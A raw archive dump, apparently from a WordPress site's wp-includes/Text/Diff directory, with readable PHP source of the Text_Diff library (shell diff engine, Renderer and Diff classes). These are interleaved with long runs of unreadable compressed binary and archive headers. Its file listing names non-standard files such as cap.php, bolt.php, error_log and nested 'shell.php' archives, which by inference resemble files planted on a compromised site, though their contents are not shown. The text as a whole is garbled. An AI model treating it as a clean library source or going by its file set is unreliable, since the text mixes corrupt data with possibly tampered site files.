        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             PK     j\P  P    Diff.php.php.tar.gznu [              Zyo8OfZn}%4im)m6b13h9%-E{-9LPԶH>.2h.W\+0^3=˸/C/X"s=|-'A<3ɣGGݧOxw鏣O'Oww\Y$+.g6VB<~&bSe8e<՜kgz& x"acBHL/#-@4aV4 Hɩa㟎ٙPBg2a^	[*xF+v2`TT"g~"5=@h}k᳥3c2S^E
i;=jګyhgD)XE	O3gu7.Gpk,)4D3@W[2dhlr޿=~w`ifJxB	M<$Dh<Å=qSwʧap1[ ^$d y^*Woé@@:+q}3O|
_dFU4`hpkQv1ǹe"
 a!u@KQ',e0Fx !"у
CM?CnĨh7XrC

M?ܛ'E2ĭ 6$'@J&,B 4𴓪ڥl_%W>l8AcHbHr-B͖ܓkXn >fFbEw<Z<Y:άmQ}A};s#xW:!{&;2@h#;'荼RsdTe Rw\;P}0<"dXˆ&Pnaaa>f2biI8mtC`:\k,iY cتuAE6 䐡)rf4!=[͍/0I
+ŝBCUQDL֪u½] CbM`g0NPS-G4ꁫ{Tx& 0F9 b,,ʎmVuOaܡ^cT知%urZ *?'X-9e--Qh3FxRrGgwetu}mE6\ޮ(j&*7Y@쥿a}hinV;n3̇`:-ڍ|ٰH
B%hLtZPȐ(*z$k4Hvo4\`BPoCGaGS\6O	Th8Iޡj35(f3U@-Keû鬳ہȳ2ct֤8w8^H&vEr?2b5yLjNjhfi(`'j!Pv	gGcCb=5]#*ݻ @^tHD(TCmGدi2?/ƩI}[	GgAOC	zCVI!^}nD5xy٢,1|ݎ6+} fBeq/UDJdY}kRvUB
}en6S˧=,mwthW5xy1}Yn{n!{xǮiH$֔QG_ՊW2ޛ;3d>QfP\X@T: jx(860XeJ.8K:Z9"&FC)W0MNfi@Pg= 'lDUn}냕׹OhF4 m*0~	zlL6uFlIyR+IJq¼_=H0
DOgzU4T)"l9 b*kBJn3{%k9ja\)v8U8$&q
=fYX)XM;wr
)ǝ5
*d({|ĄR
%S=S2K=#K֧< xkoXGV8iTfexc5|Iީjm'y=:j]ESUL犋 Y2ʈ;0f:QptHiM	]#$_<jMZU!1vS#FV:g/
oJ<O-?~_7(]^"^1BCz=aS(x"`:<ǃvscԬ,9Sȗн@WW7&Zҵ)pR85InҎNf"ٌ\[|"s藍4
y&.fo<ƹ45{Z4GUCfmNFftKܿ5^-j5"f,DiVp5B*_my6T;BÅzopy!O3JN />J>aKޖ&sEMhك%j#<Yd׉Ec[dfQh"YLW(LJ$MS4G& ̪(eZkaZ\4ޖVjRO&ϸT91QUYH*^d$23/hof;2ke7J{iPR%;i<$)50gEwȳ^Y]q˔R-갗{;g$;%(jd4pQ0emZnkեK8ЀɋeRK \^-@Ѯ2d
)\2FʜV}{8t!(˝}@&֓՚Pqم䭱wypqWoe 6  PK     j\1 "   "    Renderer.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer.php                                      0000644                 00000015226 15217301655 0020455 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * A class to render Diffs in different formats.
 *
 * This class renders the diff in classic diff format. It is intended that
 * this class be customized via inheritance, to obtain fancier outputs.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @package Text_Diff
 */
class Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * This should be left at zero for this class, but subclasses may want to
     * set this to other values.
     */
    var $_leading_context_lines = 0;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * This should be left at zero for this class, but subclasses may want to
     * set this to other values.
     */
    var $_trailing_context_lines = 0;

    /**
     * Constructor.
     */
    function __construct( $params = array() )
    {
        foreach ($params as $param => $value) {
            $v = '_' . $param;
            if (isset($this->$v)) {
                $this->$v = $value;
            }
        }
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Renderer( $params = array() ) {
		self::__construct( $params );
	}

    /**
     * Get any renderer parameters.
     *
     * @return array  All parameters of this renderer object.
     */
    function getParams()
    {
        $params = array();
        foreach (get_object_vars($this) as $k => $v) {
            if ($k[0] == '_') {
                $params[substr($k, 1)] = $v;
            }
        }

        return $params;
    }

    /**
     * Renders a diff.
     *
     * @param Text_Diff $diff  A Text_Diff object.
     *
     * @return string  The formatted output.
     */
    function render($diff)
    {
        $xi = $yi = 1;
        $block = false;
        $context = array();

        $nlead = $this->_leading_context_lines;
        $ntrail = $this->_trailing_context_lines;

        $output = $this->_startDiff();

        $diffs = $diff->getDiff();
        foreach ($diffs as $i => $edit) {
            /* If these are unchanged (copied) lines, and we want to keep
             * leading or trailing context lines, extract them from the copy
             * block. */
            if (is_a($edit, 'Text_Diff_Op_copy')) {
                /* Do we have any diff blocks yet? */
                if (is_array($block)) {
                    /* How many lines to keep as context from the copy
                     * block. */
                    $keep = $i == count($diffs) - 1 ? $ntrail : $nlead + $ntrail;
                    if (count($edit->orig) <= $keep) {
                        /* We have less lines in the block than we want for
                         * context => keep the whole block. */
                        $block[] = $edit;
                    } else {
                        if ($ntrail) {
                            /* Create a new block with as many lines as we need
                             * for the trailing context. */
                            $context = array_slice($edit->orig, 0, $ntrail);
                            $block[] = new Text_Diff_Op_copy($context);
                        }
                        /* @todo */
                        $output .= $this->_block($x0, $ntrail + $xi - $x0,
                                                 $y0, $ntrail + $yi - $y0,
                                                 $block);
                        $block = false;
                    }
                }
                /* Keep the copy block as the context for the next block. */
                $context = $edit->orig;
            } else {
                /* Don't we have any diff blocks yet? */
                if (!is_array($block)) {
                    /* Extract context lines from the preceding copy block. */
                    $context = array_slice($context, count($context) - $nlead);
                    $x0 = $xi - count($context);
                    $y0 = $yi - count($context);
                    $block = array();
                    if ($context) {
                        $block[] = new Text_Diff_Op_copy($context);
                    }
                }
                $block[] = $edit;
            }

            if ($edit->orig) {
                $xi += count($edit->orig);
            }
            if ($edit->final) {
                $yi += count($edit->final);
            }
        }

        if (is_array($block)) {
            $output .= $this->_block($x0, $xi - $x0,
                                     $y0, $yi - $y0,
                                     $block);
        }

        return $output . $this->_endDiff();
    }

    function _block($xbeg, $xlen, $ybeg, $ylen, &$edits)
    {
        $output = $this->_startBlock($this->_blockHeader($xbeg, $xlen, $ybeg, $ylen));

        foreach ($edits as $edit) {
            switch (strtolower(get_class($edit))) {
            case 'text_diff_op_copy':
                $output .= $this->_context($edit->orig);
                break;

            case 'text_diff_op_add':
                $output .= $this->_added($edit->final);
                break;

            case 'text_diff_op_delete':
                $output .= $this->_deleted($edit->orig);
                break;

            case 'text_diff_op_change':
                $output .= $this->_changed($edit->orig, $edit->final);
                break;
            }
        }

        return $output . $this->_endBlock();
    }

    function _startDiff()
    {
        return '';
    }

    function _endDiff()
    {
        return '';
    }

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        if ($xlen > 1) {
            $xbeg .= ',' . ($xbeg + $xlen - 1);
        }
        if ($ylen > 1) {
            $ybeg .= ',' . ($ybeg + $ylen - 1);
        }

        // this matches the GNU Diff behaviour
        if ($xlen && !$ylen) {
            $ybeg--;
        } elseif (!$xlen) {
            $xbeg--;
        }

        return $xbeg . ($xlen ? ($ylen ? 'c' : 'd') : 'a') . $ybeg;
    }

    function _startBlock($header)
    {
        return $header . "\n";
    }

    function _endBlock()
    {
        return '';
    }

    function _lines($lines, $prefix = ' ')
    {
        return $prefix . implode("\n$prefix", $lines) . "\n";
    }

    function _context($lines)
    {
        return $this->_lines($lines, '  ');
    }

    function _added($lines)
    {
        return $this->_lines($lines, '> ');
    }

    function _deleted($lines)
    {
        return $this->_lines($lines, '< ');
    }

    function _changed($orig, $final)
    {
        return $this->_deleted($orig) . "---\n" . $this->_added($final);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PK     j\oe 6   6    Diff.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff.php                                               0000644                 00000027266 15217305762 0016721 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * General API for generating and formatting diffs - the differences between
 * two sequences of strings.
 *
 * The original PHP version of this code was written by Geoffrey T. Dairiki
 * <dairiki@dairiki.org>, and is used/adapted with his permission.
 *
 * Copyright 2004 Geoffrey T. Dairiki <dairiki@dairiki.org>
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 */
class Text_Diff {

    /**
     * Array of changes.
     *
     * @var array
     */
    var $_edits;

    /**
     * Computes diffs between sequences of strings.
     *
     * @param string $engine     Name of the diffing engine to use.  'auto'
     *                           will automatically select the best.
     * @param array $params      Parameters to pass to the diffing engine.
     *                           Normally an array of two arrays, each
     *                           containing the lines from a file.
     */
    function __construct( $engine, $params )
    {
        // Backward compatibility workaround.
        if (!is_string($engine)) {
            $params = array($engine, $params);
            $engine = 'auto';
        }

        if ($engine == 'auto') {
            $engine = extension_loaded('xdiff') ? 'xdiff' : 'native';
        } else {
            $engine = basename($engine);
        }

        // WP #7391
        require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php';
        $class = 'Text_Diff_Engine_' . $engine;
        $diff_engine = new $class();

        $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params);
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff( $engine, $params ) {
		self::__construct( $engine, $params );
	}

    /**
     * Returns the array of differences.
     */
    function getDiff()
    {
        return $this->_edits;
    }

    /**
     * returns the number of new (added) lines in a given diff.
     *
     * @since Text_Diff 1.1.0
     *
     * @return int The number of new lines
     */
    function countAddedLines()
    {
        $count = 0;
        foreach ($this->_edits as $edit) {
            if (is_a($edit, 'Text_Diff_Op_add') ||
                is_a($edit, 'Text_Diff_Op_change')) {
                $count += $edit->nfinal();
            }
        }
        return $count;
    }

    /**
     * Returns the number of deleted (removed) lines in a given diff.
     *
     * @since Text_Diff 1.1.0
     *
     * @return int The number of deleted lines
     */
    function countDeletedLines()
    {
        $count = 0;
        foreach ($this->_edits as $edit) {
            if (is_a($edit, 'Text_Diff_Op_delete') ||
                is_a($edit, 'Text_Diff_Op_change')) {
                $count += $edit->norig();
            }
        }
        return $count;
    }

    /**
     * Computes a reversed diff.
     *
     * Example:
     * <code>
     * $diff = new Text_Diff($lines1, $lines2);
     * $rev = $diff->reverse();
     * </code>
     *
     * @return Text_Diff  A Diff object representing the inverse of the
     *                    original diff.  Note that we purposely don't return a
     *                    reference here, since this essentially is a clone()
     *                    method.
     */
    function reverse()
    {
        if (version_compare(zend_version(), '2', '>')) {
            $rev = clone($this);
        } else {
            $rev = $this;
        }
        $rev->_edits = array();
        foreach ($this->_edits as $edit) {
            $rev->_edits[] = $edit->reverse();
        }
        return $rev;
    }

    /**
     * Checks for an empty diff.
     *
     * @return bool True if two sequences were identical.
     */
    function isEmpty()
    {
        foreach ($this->_edits as $edit) {
            if (!is_a($edit, 'Text_Diff_Op_copy')) {
                return false;
            }
        }
        return true;
    }

    /**
     * Computes the length of the Longest Common Subsequence (LCS).
     *
     * This is mostly for diagnostic purposes.
     *
     * @return int The length of the LCS.
     */
    function lcs()
    {
        $lcs = 0;
        foreach ($this->_edits as $edit) {
            if (is_a($edit, 'Text_Diff_Op_copy')) {
                $lcs += count($edit->orig);
            }
        }
        return $lcs;
    }

    /**
     * Gets the original set of lines.
     *
     * This reconstructs the $from_lines parameter passed to the constructor.
     *
     * @return array  The original sequence of strings.
     */
    function getOriginal()
    {
        $lines = array();
        foreach ($this->_edits as $edit) {
            if ($edit->orig) {
                array_splice($lines, count($lines), 0, $edit->orig);
            }
        }
        return $lines;
    }

    /**
     * Gets the final set of lines.
     *
     * This reconstructs the $to_lines parameter passed to the constructor.
     *
     * @return array  The sequence of strings.
     */
    function getFinal()
    {
        $lines = array();
        foreach ($this->_edits as $edit) {
            if ($edit->final) {
                array_splice($lines, count($lines), 0, $edit->final);
            }
        }
        return $lines;
    }

    /**
     * Removes trailing newlines from a line of text. This is meant to be used
     * with array_walk().
     *
     * @param string $line  The line to trim.
     * @param int    $key   The index of the line in the array. Not used.
     */
    static function trimNewlines(&$line, $key)
    {
        $line = str_replace(array("\n", "\r"), '', $line);
    }

    /**
     * Determines the location of the system temporary directory.
     *
     * @access protected
     *
     * @return string  A directory name which can be used for temp files.
     */
    static function _getTempDir()
    {
        return get_temp_dir();
    }

    /**
     * Checks a diff for validity.
     *
     * This is here only for debugging purposes.
     */
    function _check($from_lines, $to_lines)
    {
        if (serialize($from_lines) != serialize($this->getOriginal())) {
            throw new Text_Exception("Reconstructed original does not match");
        }
        if (serialize($to_lines) != serialize($this->getFinal())) {
            throw new Text_Exception("Reconstructed final does not match");
        }

        $rev = $this->reverse();
        if (serialize($to_lines) != serialize($rev->getOriginal())) {
            throw new Text_Exception("Reversed original does not match");
        }
        if (serialize($from_lines) != serialize($rev->getFinal())) {
            throw new Text_Exception("Reversed final does not match");
        }

        $prevtype = null;
        foreach ($this->_edits as $edit) {
            if ($prevtype !== null && $edit instanceof $prevtype) {
                throw new Text_Exception("Edit sequence is non-optimal");
            }
            $prevtype = get_class($edit);
        }

        return true;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 */
class Text_MappedDiff extends Text_Diff {

    /**
     * Computes a diff between sequences of strings.
     *
     * This can be used to compute things like case-insensitive diffs, or diffs
     * which ignore changes in white-space.
     *
     * @param array $from_lines         An array of strings.
     * @param array $to_lines           An array of strings.
     * @param array $mapped_from_lines  This array should have the same size
     *                                  number of elements as $from_lines.  The
     *                                  elements in $mapped_from_lines and
     *                                  $mapped_to_lines are what is actually
     *                                  compared when computing the diff.
     * @param array $mapped_to_lines    This array should have the same number
     *                                  of elements as $to_lines.
     */
    function __construct($from_lines, $to_lines,
                             $mapped_from_lines, $mapped_to_lines)
    {
        assert(count($from_lines) == count($mapped_from_lines));
        assert(count($to_lines) == count($mapped_to_lines));

        parent::Text_Diff($mapped_from_lines, $mapped_to_lines);

        $xi = $yi = 0;
        for ($i = 0; $i < count($this->_edits); $i++) {
            $orig = &$this->_edits[$i]->orig;
            if (is_array($orig)) {
                $orig = array_slice($from_lines, $xi, count($orig));
                $xi += count($orig);
            }

            $final = &$this->_edits[$i]->final;
            if (is_array($final)) {
                $final = array_slice($to_lines, $yi, count($final));
                $yi += count($final);
            }
        }
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_MappedDiff( $from_lines, $to_lines,
                             $mapped_from_lines, $mapped_to_lines ) {
		self::__construct( $from_lines, $to_lines,
                             $mapped_from_lines, $mapped_to_lines );
	}

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
abstract class Text_Diff_Op {

    var $orig;
    var $final;

    abstract function &reverse();

    function norig()
    {
        return $this->orig ? count($this->orig) : 0;
    }

    function nfinal()
    {
        return $this->final ? count($this->final) : 0;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op_copy extends Text_Diff_Op {

	/**
	 * PHP5 constructor.
	 */
    function __construct( $orig, $final = false )
    {
        if (!is_array($final)) {
            $final = $orig;
        }
        $this->orig = $orig;
        $this->final = $final;
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Op_copy( $orig, $final = false ) {
		self::__construct( $orig, $final );
	}

    function &reverse()
    {
        $reverse = new Text_Diff_Op_copy($this->final, $this->orig);
        return $reverse;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op_delete extends Text_Diff_Op {

	/**
	 * PHP5 constructor.
	 */
	function __construct( $lines )
    {
        $this->orig = $lines;
        $this->final = false;
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Op_delete( $lines ) {
		self::__construct( $lines );
	}

    function &reverse()
    {
        $reverse = new Text_Diff_Op_add($this->orig);
        return $reverse;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op_add extends Text_Diff_Op {

	/**
	 * PHP5 constructor.
	 */
    function __construct( $lines )
    {
        $this->final = $lines;
        $this->orig = false;
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Op_add( $lines ) {
		self::__construct( $lines );
	}

    function &reverse()
    {
        $reverse = new Text_Diff_Op_delete($this->final);
        return $reverse;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op_change extends Text_Diff_Op {

	/**
	 * PHP5 constructor.
	 */
    function __construct( $orig, $final )
    {
        $this->orig = $orig;
        $this->final = $final;
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Op_change( $orig, $final ) {
		self::__construct( $orig, $final );
	}

    function &reverse()
    {
        $reverse = new Text_Diff_Op_change($this->final, $this->orig);
        return $reverse;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PK       |\S                    inline.php.php.tar.gznu [        PK       |\Mk]  ]              /  cap.php.php.tar.gznu [        PK       |\~F@ @ 	            e  error_lognu [        PK       |\p`\~  \~  
            1 Engine.zipnu [        PK       |\o< <  <             $ bolt.php.tarnu [        PK       |\&\d d             a Renderer.tar.gznu [        PK       |\tF3)9 )9             8 cap.phpnu [        PK       |\tT                   inline.php.tarnu [        PK       |\a  a               bolt.php.php.tar.gznu [        PK       |\'ݣ    
            } inline.phpnu [        PK       |\u#~ T   T               Renderer.tarnu [        PK       |\Ќ5 5             ' bolt.phpnu [        PK       |\FL @  @             ) cap.php.tarnu [        PK       j\*0E0                (^* Renderer.zipnu [        PK       j\v6{                shell.php.php.tar.gznu [        PK       j\h                xdiff.php.php.tar.gznu [        PK       j\)p{                  Axdiff.php.tarnu [        PK       j\-                ~Renderer.php.php.tar.gznu [        PK       j\_m      
            }Engine.tarnu [        PK       j\CӶS  S              0Engine.tar.gznu [        PK       j\;              GODiff.tar.gznu [        PK       j\5 @  @             b0Diff.tarnu [        PK       j\:                  Ţshell.php.tarnu [        PK       j\P  P              Diff.php.php.tar.gznu [        PK       j\1 "   "              Renderer.php.tarnu [        PK       j\oe 6   6              Diff.php.tarnu [        PK        #  